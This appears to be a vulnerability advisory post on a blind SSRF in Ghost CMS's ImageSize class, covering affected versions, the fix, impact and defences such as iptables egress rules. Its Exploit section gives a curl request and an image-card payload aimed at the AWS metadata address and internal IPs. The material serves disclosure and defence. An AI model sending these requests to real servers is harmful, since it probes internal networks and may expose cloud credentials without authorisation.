Listen to this Post
CVE-2026-70591 is a Server-Side Request Forgery (SSRF) vulnerability identified in the Ghost Content Management System, an open-source Node.js blogging platform. The flaw resides in the server-side image fetching mechanism, specifically within the `ImageSize` class, which is responsible for processing image URLs.
From version 0.10.0 up to version 6.54.0, the application did not properly validate URLs provided by users when fetching images. An authenticated staff-level user could exploit this by crafting a malicious request through the admin console’s image processing module. When Ghost attempted to fetch the image to determine its dimensions, the backend server would perform an unvalidated HTTP GET request to the attacker-supplied URL.
This is a blind SSRF because the response from the internal host is not directly returned to the attacker. Despite this limitation, the vulnerability is highly useful for internal reconnaissance. An attacker could systematically probe internal IP addresses and ports to discover open services, map the internal network topology, and identify live hosts. In cloud environments, this could also be leveraged to access instance metadata services (e.g., AWS IMDS) if not properly secured.
The vulnerability is fixed in version 6.54.1 by refactoring the `ImageSize` class to use a secure `externalRequest` client instead of an unvalidated request wrapper. The fix ensures that all outbound requests are subjected to proper allowlisting and validation, preventing them from being directed to internal or private IP ranges.
DailyCVE Form
Platform: Ghost CMS
Version: 0.10.0 – 6.54.0
Vulnerability: Blind SSRF
Severity: Medium (CVSS 4.1)
date: 2026-08-04
Prediction: 2026-08-11
What Undercode Say
The vulnerability exists because the `ImageSize` class uses a generic request wrapper that doesn’t validate the destination URL. To verify if your instance is vulnerable, check the version:
ghost version
If the version is between 0.10.0 and 6.54.0, the instance is vulnerable. The patch was introduced in commit 5eff2de.
Exploit
An authenticated staff-level user can exploit this by sending a POST request to the admin image endpoint with a URL pointing to an internal host:
curl -X POST https://target-ghost.com/ghost/api/admin/images/upload/ \
-H "Authorization: Ghost ${TOKEN}" \
-F "image=@/path/to/local/file" \
-F "url=http://169.254.169.254/latest/meta-data/"
Alternatively, the attacker could use the image card in a post and set the `src` attribute to an internal IP:
{
"type": "image",
"src": "http://192.168.1.1:22"
}
When the post is rendered or the image is processed, Ghost will attempt to fetch the URL, allowing the attacker to probe internal services.
Protection
- Upgrade Ghost to version 6.54.1 or later immediately.
ghost update 6.54.1
- Implement Egress Filtering: Block outbound traffic from the Ghost service user to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8) and link-local addresses.
iptables -A OUTPUT -m owner --uid-owner ghost -d 127.0.0.0/8 -j DROP iptables -A OUTPUT -m owner --uid-owner ghost -d 10.0.0.0/8 -j DROP iptables -A OUTPUT -m owner --uid-owner ghost -d 172.16.0.0/12 -j DROP iptables -A OUTPUT -m owner --uid-owner ghost -d 192.168.0.0/16 -j DROP
- Enforce IMDSv2 on AWS-hosted instances to add an additional layer of protection for metadata services.
Impact
- Internal Reconnaissance: Attackers can map internal networks and identify open ports on internal hosts.
- Cloud Metadata Exposure: Potential access to sensitive cloud instance metadata (e.g., AWS, GCP, Azure) if IMDS is not properly secured.
- Service Discovery: Ability to interact with internal services that may not be exposed to the public internet, potentially leading to further attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
